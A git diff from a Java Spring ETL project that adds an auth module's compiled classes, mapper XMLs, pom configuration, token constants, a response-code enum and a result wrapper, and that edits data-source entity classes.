zWrb0XsRYwItfYdE<#wa%lkLI%jNs1eyU!Qfw|`(q9imvxsf5LBSD4CBqe-6E;wfVr z&+Qyew9GEzb^3z)g5L8O4#nXF7Z}55v4K!w;UpM{JW+_n7^f_DK}mg+-TZ#>R(Bm& z0X9)Q=1B91$57>_m4|6ur?I}NwWW@o%}h^`(MYM%#t|gR$L!`C@KNb&ULdd2k32)O z-9w?}{;7~(PqesQ*VXMD<`HIa>Do>+9ktj9CV7Ba$!+U`;MXif0+MCDsS;_LVBKf6Hwn*QD-&`ViK)lzdC-c7A7 zb%S2AmzO& zV%b#ZiGeES4|1!}=6&{)H%&%k`*PMdZC~F|&%V2YtE+aUzI{VF)#aZ{O!Nnv*zg91 zr;U89P^->88A{D{8=C8)n|6Da7+hg`@XUjeyfGNrR6p8UTU!?;gs0>d^bOvLGE*Vt z@lN0AkRV#Jc{+Dy4QBIah&|vL6pAoa?L_&bLV?;YacnQ2OL*^a$GB<88{@7fFqZJ? zxu@r7if;z*!h3O5FXUS;n{J;7n1@IBta}7V!{(d7L52cwa^WcyVQg#lL3ek_rJIBi_eV9^l zOQfh5k<;GyX~Vw1tiDfIV)@_uF@qw_teDk<*^#my%;CKUbI)O3L6GHb9?Pn;nBRlj zvy&>-q@wJMssdcV!s;?^U?XK0Q4uMtSk#Bb7qF;We*+sicS%1CuC}zIQq8*K0+yY_ zay5$-*I^x@Jyx8|bbf+5??)?bSrQT2T$Fw4j0w-}huS@y1 zj6YeeKsi>DW))`QF3dpsa#{)7G56W6RBr)ukIQGZ^w8^J<0`oX5 zc^VyZ1aUdV{kj6@1xz6S890E0C?j|Ebcj!9a0j0b^NH~Ep{t&L3ZEo|iwN~k;Zedk zEN@Y^&rrv5c@2;8sTfn`OL!cgWn?XsXYm9+2My~e#gljnA#4*1PvaT>__s?Qz)#~@ z@(AH=Jjc0Z)ZrU=o@?l&Uxyd)GZ;g;SK#wpZ7ii7_>zW~HGCPO;pA=&U*Z2(mVJa8 zcjoaQ(L1k_a{+#y|9K8ZJE#ocP|rf%t8!piOSmwaRY(xaD<hCMsw* zkjpgsc^>bT^ojDyERSQ>?x=EYtny5i>wyAFzym~If{Wy$BxqaMhfOab%;h$nzyvR> zkEpP%@5ScR6lP1wtI*ZGeB#%J5i}@*MLvPL=Mpq30y)i93SDf^pijX>HkK%vLBtru z$~yXO8*#CR(hh0SHmF70pcZW|QVLv8g-|kfTsi+zn>X+#HKSFzQn9)q1_$+l<7_z)!9(d5%VP+hb*$ak~}JIQxt z@ucEG&Y#F~=EET8#VV;hSY4uI9FOn10zSm=k&<5QQg-ul!o!%t=O?J$lSJ)Pn9f+3 z!~0y~-yrgr6Z5r1eLe4+iSH=!y$eTKuZ|IEFVg$RXyum~KVK%rNnXD~ES@A9zsj8O znrrt>p5+GZevwi38CuuCaeSTeRY0yb-r|_bU~xZwpTSyulV6L;XR;f4CE3{WM~)Kd zDz+w~XzquYFCSs47grx*f%viUHY5BO2CL(2uB!f&Ry^E?-S1$6g1)!_Qe_uZyU?F_ Pii@b=`qp4kJ_Gy&<}M2R literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/util/SecurityUtils.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/util/SecurityUtils.class new file mode 100644 index 0000000000000000000000000000000000000000..8bb5d1a030eb6f5f745ab833210dd8ba2187f30b GIT binary patch literal 1126 zcma)5TTc@~6#k~AY`ZK4tAJWB+@VDoFQ_CnCQ2kE)=Mm6;@hx{?Z9@o&Q1yVPxM#l z3!)GH0DqM6>}*XSHj$S(mp$j3Z_ao2*Y6)c0jyxvg@@}7Ci9pY!Zc=F3}M#A9Om;_ zaIuI=9@WGyIk@5ACd1%E6)N+HA-h=FVi;J9b|k|{U4`;Rx4kX(rq~WBQ>sV42)2Y) zN!&{gn3jqeX6t^`=Avs_JeGQ2YTh*};0@__wK9iqD2Qte`KC0R(Vh$$YK!$Y&IXeByuy95ghMY-nF7*Q}Y1s*c zFD<)QTE15Y4D%_+Q+M~JGu$x3-+L}Py{Wj3sH=UsuI$`SO<_5CwTEF8iF-0MX#!5R z9ff4V*oe@?+|pS48!`+(rqM=PeH2DTp@U@)9AyueQFd_4!)@H5p*)d7OFik}u1BkI zkAZgKJ{~Yk|6d)3(S%w0)|cD6(l-oqXOf7aK)P;7u_HD0M7qgENBAwtgQ(dg!4kW& z+gk}MA+3y~;-~G7IbkB{0uHlNt^hsGA)L&lij@qN&38= zqU%b>^pw>;W&bWhA9XQBe~?E%7mx)hfg+tF6mhaNV&tmdz`l}`!6==BHd(|u^1ZYG zC7h?IfD0I-Owzng)fuwIYAO320~yqpj*3k_VcwJf>i JD!Cb4`vYKK7s&ts literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class new file mode 100644 index 0000000000000000000000000000000000000000..4d29926afaec96dfd6f6ef5c50da5759da63487e GIT binary patch literal 3559 zcmbtXS#uOs7(E?k(n+V;5+F=K2#At|ga%o}gvAgEAV~FG>5^mGqBJqbZY z6c^l4altB|^%0j!SS*V-tNa}nmQVfz_1x~sWHK{RN~z-B>3hHXedm1Jz4_(OJ3j%~ zi5m(U5tlKjpaO9PCoxomQ+P(ku!2gQ7RzUF^!uOrWZ`y(oPl&Q$uVZ z>-bj69I`Ujh;4Q{j_d2bF|wX#I=)B-37h78%&bYdj>av^p9;L(X&5fEgNN$# zeiqwCfuo1ZI9eb!0?*A!54z{f1>IaMEMh49EEE-~kkDGna$$oKqQ0=gEwLf8bX=d%HCuO*THF`qApAb*>FKm^;=aI%Bf6Wi5^h#YO^wh& znY5kFXol;V9Grv|)RcBUYqDrgi1Ac-oSGuS5~qxA`(>jT4f|<+aopF9bG>>xs91I@89qCnj4b;d+oS~L&;`Rx2c%_8(3^V= zJJ%AFkVUs88o(0a{-B(<3LmT3j3x$4^tyS)D`Is~Tc8SLOscqmDH#`4yoi_R#C#82 zFs)U*j7utB!DSU2u#rh#9OQ#p%T9>M)c$t;oBLO1?tgXV_Z!!Ky>;i0AHP)bDqd4@ z1(#&JuHp?`W@eT}Z3MMcl3^;|#3czG0_cBC9Tjiks)~oPNyghM-od*v-dAxAA4$*_ zz%u8-xxy0Vrs8AajZeg|8P_GO%X^Rk61T|w<}2e<6`$dA37bnSd7?Y#J146ph_8f} z63GP%SHiO5Xe^W!#myt1c;rxGFmAH_vA><c#h5S;1*&LRZ(idwN2ufFOhFCb$TKZe)OAO%F1MTRY_RcRG=*vvpwLc^R)Lw^N?GpB z#n~m2tn3?wylDBj!(P$d^x(~Hw!4H+vB58PE6@giS8{%obA&UyKF4N$ zX`Cg_(UuuV-||NVS~v<}pblF&s-XZ{(Z;U`wg!j9;jgg>QO=!rQ87G&MZLEW>1(@< zsDyi{Y>%|YBGZtkQS}|F??RzSO|3eO#ku9h(^zsFODoWNlS)Fv4Kxj`M-`cfi=v)9 z8rgFXkcR-XGc=e3L(|xX?F3kbC-4|{P>YIPl-fmT^`x>Jj}vkPd$?aA7)xttL8hj& zTkc_5Z|gLc_uWM;vDLLlVv*VvZPQqJs^tf)ibZatz9L`}jYWSZtDEEzi%w&8fV%A# zV(pc8(J&mWiD6BwvSk`;XYi0<6bW3}!aq_#>`^*SA=WzLTuY>_#I~L2b`aT<*pF^< z6bz4q=<*EDq8%M%7{xI5Vjo#37^M6GGOWWfp6#TiR%$&+ZBgo3jV?SzmWQZK1TU28 zrqp4stbz0wjaJGyBIBrxr)3>E`9mjk40I|OTyO0R8 literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml b/etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml new file mode 100644 index 0000000..5829ce3 --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml b/etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml new file mode 100644 index 0000000..c97efca --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml b/etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml new file mode 100644 index 0000000..f74141e --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/target/classes/static/index.html b/etl-auth/etl-auth-server/target/classes/static/index.html new file mode 100644 index 0000000..f67da0a --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/static/index.html @@ -0,0 +1,6 @@ + + +hello word!!! +this is a html page + + diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class new file mode 100644 index 0000000000000000000000000000000000000000..47b2a17e358f235eda6b99499c0fbf63b1062470 GIT binary patch literal 4351 zcmbVP>vJ1d6+bKOYFF|~wq-l1nlyF6O>J4K8Yqv-Ng-)dVz6W5q#+HDWGyY$CVEv` zrI=Tnq(Dhq5};q&DP)*3q#x3u8L%_cQVPRN8TbJIMC^qBfwuh4y(?=aFVw?KeD>UX ze&^^s@4fl^2XFn6h#sV$M@gqAnKYO*nYc_^OwQ``R1Dv5FM}- z%xUYal`C7-rQCGYwU_M1ltQV6R@HSX_A#gFESBy4)oRVPT&GrTDwLfm)GE0}t5$J} zwN|dOya-9NUT!sW)&?$j)Pml05w^6mR=H&>q`J#>d@@^7pDrE+8rtgq$B)h_l&IT{ ziqmYug-2>dm`VElKH@f<>Jq>cGfpkne9Brv6h3E~x&3u#7HZ}BMh%ACWnj(qUtIXt z%a?Dy{o2~48wy2Bj@_^th0-!aw{QIR)=SsduAg7O_A9thx7?CK5xJ{SU(s$B8cv<_ z0r1+zE4MGavwrE)?RVbCVm)jr&+EZPl`R}Q~cu*%1*hQoRGHdVLe z;Fs?c8Maz(DThi`YSo;LV!F$@dBiclkw@fU5I^79kiRwD<;q5CO+XKIQlzt{NJ|3T zqyB^#PV+f;Naqxf@!%L@N3cU;6OGl?p~Di; zyPXhVU$^y3oNp&8?TN5ro)xhe5Q47u8MFKN5SeJ$Zt`TyGy^+hnKa_mU0)hO7HIc1y^L)}e(Kc99A<+gMPiS!+|Dtr#b z-IGPjwN5sLZIedn9+Spt!lVq7`54A zy|mAyhnaki$>*7zq*DrQ@0`>!RR>y5xo9^`I!!2QvOCgorwGMMbeYLdF=Uz1?n3Uv zFl9zJN{OWo2>J|MA~WhMCpMy)(WV$`Ve@C`6ol#!Bm*6<RZk7H-7iOqX$+D-Rig-Uwz zK77;ogM1PKRClu=3jr#=S&)MOU9efO2Lg1)X2FBPAyglt&%nJLz6!ot`uC)~2_{6J z1&xT!L3#+hDFKwHDXbK37|>qjP_OcEpfVaQKsns2ygg7E4H}@V_A1{QsEo!AP}X{t z?+R4L%mgS$uJt5rG*I~wdel?SBfTL`Z+dctl6nY2j;=e?Jbb>BoHHR)(+PG2+Mr)@fY9sdmFeY!)k(T`@~ z8E!zYM;^kLXHny#_71Xt6t#`uHH6H;<848wq?ynVj2JL;WngNrx^L&eREeA6Wikfl zu97xjo!Te*fd%LWV_@Dg5p5c_6cWkE{yBnJ106vgwJ5TQMUl9AHdqC`F-M3D^< znnr5%=XD`Mzj#`@5bX@E?t*mP3ouNtl0}OMOruw*04_wk=o}RhG*`ETx^ZUp>R5-u8^8eX)AaTj6?#?PE*`bhops#!PxEHQLrkW zHau6m#akvUI6moB!SPwG364)&erDh?>3P<9i@>wqLpvUDwT94u{9>t!mlnUIYWTxT Gs{SA7(^TdF literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class new file mode 100644 index 0000000000000000000000000000000000000000..e0a3e5b8168422942bebc064a6d37acd97c888a7 GIT binary patch literal 2923 zcma)7U2hvj6g^|_+G}T%CT>1zT4+l{NgSu*O4E{-&?F5>8ffX)#$Mtrwl~=8 zmOS&s0|M~|5>H6vr4N8;Dp3i+OOf~;fXaWMlruZ)#CB2Xvoe$`q~ga%QsZ*~@liR3JH5D|=4KUUaI?QqdkSmtD{D9JgE* z7@o?xrOcA$mYlp>%am4^xKmvz)~Xq61D9E_=r@^XEd91stTCPDt*&rN@5p^Jzd$s- zwed>}7X><2>`KY0R!QNkn`f9r1MhjS;*^&O9-MOAO!bbn%u_Uwsble|`P&-(PlKCaF))z+gkBO@%Z?W7m{Z zwr6UkCA;FESQ2w{R&mj)I8uRNQS%B8r5o_iZq>X(h8mXKa>l02-fCu!$*Z#)MnYZi;PM@Yt)`ba1c~tqr|GP5&OfMRV4o==*6X5 zcFr3eydogn<_ih7NXYdHc7?Iz`TJ$P8UBiI?)DdXA59nAtpKgdF(0fhDXt*uqkZ19 zavw}vE56ixA%1NeIjcM&Su#H-R8LfXWz z9M0gZK;LHPP$xZ8bBcMpV&Vd(*;!gnGvMUMOuUa}ITTon=>yGTkFieD2PAP?V$j4} zNDFjsW>ICu3$RvJ>@tgKxbXt&rMpG$fEIOW!q@BfsdyY@U+rNd4kIKbguottB{(O! z@=TSBdu{B)v;3mE!G0U(1N?FSAUCM^){R3jxkzO>9%jr8XTe!d{Rr_LjSybs81Wao zFhE;65P(6XI170h99x}3t2k||vM&50{ zcdtSOyycmclmai|<$y#}oX}3=D9Ht0**;Eqr*YH`30dQck2p@wF`nkrq13m~wYx*V zLi-AO`0mgz(5BO=b?E*ljmS)zLslF94Q)y7A-dLJ4kxvBMC%A6s}o{mBS~FiA`g*R zLwizBMjAk|Y?Po_)<{Mr$Ou5uq)`WHcS$JRP!>wwtBUA`yr1GV9OW^3@DYx&R6?vW z2gkV<=2s3UXlXc)bG*ExET?Il#we`_iY(WYw4$hBFUDvYIK`YpFr&sl=!oL=$LNjX zH2)0o7<-f%Ycv^}JtMf)6P#sr=u$q({%OTgFKSud$Cy{X1$Gz}MjWAEgx;4rM^9>F zzU2ElM++3(=p0%@ba)-{n{wUAYH}l~1v`ek2DKH->i!mQz;`l|y1%t=dr?oRgn_7G z%;618kdBU73O7MQarU_Lq#DK{*58}7G>X-SNm{xu+Z{xna6zMNLQpCQ@r3Zr?~q*R zfnEpHF>|_eH|TA!gcIQbSj$_){*E^ zc1+p{4(r(6+6+{^sWvpS(S|NyD#&$}xiseLPTl8EHiT6A9zv<%d)V?6+x^y%QuvM9 z?G9Q4WBC147Eia|K*P+ze=0$y&2Gs|t*^Xeo1PWI3`2!*(Qn|gLC^BX2L1Mb-r+SF literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class new file mode 100644 index 0000000000000000000000000000000000000000..7e2c105d3205c2e18a0437d2f1d8be83ced4886a GIT binary patch literal 3149 zcma)7TW=dx5dMz6H`|*_(SVyY-)R5d)+D$ zFT7On00Lf+kdSyH5~@V0AeBHu@KPlHN7eoaO8L(2I<}K7ie#UiGxN>t%r|q+{{8Q- zzXNy$wIp`oLIN7zm&*ro`A{wwbzDmFX~|_lqH1%RUqc%1-4HtTi2{i!743g#!H^PXjeuA(lfP^=M?REr|K*e?6FeG z^(@bEOI3m4iJV)^ELd*Q$-A{oabOi8=<#b@_dZ&6pas@3amg}mtZe!Ox2yN@%p9&$>K zcSIoG*FVpMjx(Y_$AnX|r)tFoyW*EBQ*(1xVcx1Zvh+}?cuNk`?)8hdYTi!%wtD4Q8otIClfE+Se=5+2yEfm{Xk>d}Z72djqpKmHp=g`+tlX7JtL*oSN6bGN zM$Rgoki{^OC9Ap=w4D7PXRgyT}*^aK{>~2P9ZNF*wIu-pOdG5 z1y#9_BV%ZfPtRda(a@ecLBXz05qF~B#5@j=l*U_vL1Bqjxonp>9>Y=N*)-KHX_1>2 ze0?Gxizjay?@~ZPOcDu!C%Nn5b2l|lRjGX1#xvN%9XSr|DL$X$pY~oF$opo)3pB77 zn+<(vqmr%TI>?u0_!NAq19u>Pq7cInSIt)@FihDD0N6(`D6?r?Tb+MK?A8Y7wn%68 zIl?)<(YZ6yne!3htZa1N9_h@vif~ppI`>36AH-{+bCwLnBtrv(zaSRPSWkcm8Ix=V z-4%EpZ$!n3Z#7OZ1p?XVILcPz1VbY*5* z6WTXW<2MKYfHpZaum;`VQZS~5xMY>#zmQ5Rcd>01=5ShBL!ypIW>rFxSuL$fjCL1Y zt7uEBX{`yA%IXBAvPN2$AR`3nX`=~bW)lRN*Aa^#DIbM_ zFL|y{QA*%zp8eC5k{D+m2hpJ$|DavRTMyBr<8A&7@esQLG4U9YZ|1!kPMDlDIjO2_ zfh=zG(GCVxT`x{$VzM|PFW?}IxIsUi-sR4bL&{;lZM!>1me@3-b8r><@EY1KNqsV_ zNJCl)Erx7mU`l0G-^4EZPDWa-o6M}{o3wQkdrPm~(d{@L=e0OJuA3TYOC)Ix|ybZqQnQqc{y4ya?4 zR#gbonqUp&Mr{bzTfq%{gn=%sk)NxeCs<~k^41>x4ejUdprfmE4claE*3i|pJ&-xr u+q!lHa!ShGfow{-hszpvZoK@OFZ|Jv;~3ucXXict<0L;m=lJKx=lp+rKTXyE literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class b/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class new file mode 100644 index 0000000000000000000000000000000000000000..da08aaa1a96a5d85de0666f6f98f44d42a558fef GIT binary patch literal 703 zcma)(%Wl&^6o&tkCe1XY7s9RO)|M7%S_yAh6@*l|Mp(E>6}ORCSrd2EPO-?01t&YV^Q#e1)HPu{WEhe|NQv*?K^;%*zI8s>s@Sgu}SDm#(@_S2EnDgl1?Jc zxf7PTHs`Mhi*9C$QkrrqlS&CZAuPD#LoW*a@I+vX(6-M7wh7C}-sH#+Lw`Jq>>Yup zgr(Ean?&w``_7BrdmjXz5k#%k^qlL}G&(rq2RnprjsBs)kTCyR8(qF3%^I57RzKRb8Y#z*e)-0LD&o8EOlg6UO1ejnQ@e<(!x1bd8&&- zXXbjxf*0>>MD6)NAi!N^qYvu(BTQGMoIT5}o>HTH7mnnMq<6a|vA4Ve<)GOW;id3kDV$ z`ifb<=Bd00f*sf2TyiXTQ~C^%K3ll5QXHKw6=1s~Wd-lFN&c<(YOh z78uUH8#>Ca$_+cPixru699IctyH3C`-xi=Kg%j}m!cwkZ0)D2u`NEY1Cx8!YG z>pTCilqWPZhPn2Ac3s64(cqTrDEUb7LiE%bI*-_ycnN2y!&B2&Or&tizzq|Fc+0>| z6KP}^&iqq(CbTP2fBN=6dAh&*(f((j9z6MwHV02X_~WN1CbGC?VhOhm+%fSsmKhd@ zrp3_I z=kn{q#09J{n016-zy9*zi*K6l@1H;ZZFiU9@_%|}hTa#d){13msg|Sq6EocWzaIy~ z_{gEr$(Dp)kPkx|9Jw%h=%P7OhjH$&}hbXl}qz|=)NsHv8ibwC!wDr<| z9KaCM6G-+nd7WhY$j0eMBTC-OwBuwM*<)kRz`mtT3}ajMi!no@K+K={M7wr8YyuqgHdhKSKH + + 4.0.0 + + com.bwie + etl-cloud + 1.0-SNAPSHOT + + etl-auth + pom + + etl-auth-common + etl-auth-server + etl-auth-common + + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + 2021.0.5.0 + + diff --git a/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java b/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java index ad6bbce..57d7030 100644 --- a/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java +++ b/etl-common/src/main/java/com/etl/common/constants/TokenConstants.java @@ -21,4 +21,12 @@ public class TokenConstants { * token标识 */ public static final String TOKEN = "token"; + /** + * 令牌自定义标识 + */ + public static final String AUTHENTICATION = "Authorization"; + /** + * 令牌前缀 + */ + public static final String PREFIX = "Bearer "; } diff --git a/etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java b/etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java new file mode 100644 index 0000000..cd65e20 --- /dev/null +++ b/etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java @@ -0,0 +1,29 @@ +package com.etl.common.enums; + +public enum ResponseCodeEnum { + + SUCCESS(200, "成功"), + FAIL(412, "失败"), + LOGIN_ERROR(202, "用户名或密码错误"), + + UNKNOWN_ERROR(500, "未知错误"), + PARAMETER_ILLEGAL(400, "参数不合法"), + + TOKEN_INVALID(412, "token 已过期或验证不正确!"), + TOKEN_SIGNATURE_INVALID(403, "无效的签名"), + TOKEN_MISSION(403, "token 缺失"), + REFRESH_TOKEN_INVALID(412, "refreshToken 无效"), + LOGOUT_ERROR(444, "用户登出失败"); + private final int code; + private final String message; + ResponseCodeEnum(int code, String message) { + this.code = code; + this.message = message; + } + public int getCode() { + return code; + } + public String getMessage() { + return message; + } +} diff --git a/etl-common/src/main/java/com/etl/common/result/CommonResult.java b/etl-common/src/main/java/com/etl/common/result/CommonResult.java new file mode 100644 index 0000000..b771fdb --- /dev/null +++ b/etl-common/src/main/java/com/etl/common/result/CommonResult.java @@ -0,0 +1,22 @@ +package com.etl.common.result; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class CommonResult{ + private Integer code; + private String message; + private T data; + private int dataSize; + + public CommonResult(Integer code,String message){ + this(code,message,null,0); + } + public CommonResult(Integer code,String message,T data){ + this(code,message,data,0); + } +} diff --git a/etl-common/target/classes/com/etl/common/constants/TokenConstants.class b/etl-common/target/classes/com/etl/common/constants/TokenConstants.class index a4da1a3930fc8689bd81226173b614c199a39810..b845155e61ed5de554f6dab0408c277db9d685c0 100644 GIT binary patch delta 214 zcmeBSdB!4o>ff$?3=9k=460lV%nWku4D##@3KK=MbrcyHSVR21UHv#1lo%QK9797q zT>U~kogG6w{efc2j0|i6L9T9|5gZIE6MLpIi!z8!R$&ZPVPxQSEG@~%FUqV+EXmBz zV`N}=N=++l^7}$Yo85nrLY*q#-25BIVkwFGXGBL;k00HeE5&!@I delta 141 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 literal 0 HcmV?d00001 diff --git a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java index 483e507..718e908 100644 --- a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java +++ b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DataSource.java @@ -4,6 +4,7 @@ import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; +import io.swagger.models.auth.In; import lombok.Data; import javax.validation.constraints.NotEmpty; @@ -19,9 +20,6 @@ public class DataSource{ @TableId(type = IdType.AUTO) private Long id; - @NotNull(message = "数据源id不能为空") - private Long dataSourceId; - @NotEmpty(message = "数据源描述不能为空") private String dataSourceDescribe; @@ -51,4 +49,5 @@ public class DataSource{ private Integer dataSourceType; @TableField(exist = false) private String dataSourceTypeName; + } diff --git a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java index 27c41a3..f9b0aab 100644 --- a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java +++ b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/DatabaseConfig.java @@ -31,6 +31,7 @@ public class DatabaseConfig { private String tableName; @ApiModelProperty(value = "数据库库名") private String warehouseName; - + @ApiModelProperty(value = "数据表输入输出状态 0:输入 1:输出") + private Integer data; } diff --git a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java index c9993fc..2a7101e 100644 --- a/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java +++ b/etl-data-source/el-data-source-common/src/main/java/com/etl/data/source/common/pojo/Task.java @@ -1,8 +1,8 @@ package com.etl.data.source.common.pojo; +import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; -import javax.persistence.*; import lombok.Data; import lombok.NoArgsConstructor; import java.util.Date; @@ -12,10 +12,10 @@ import java.util.Date; */ @Data @NoArgsConstructor 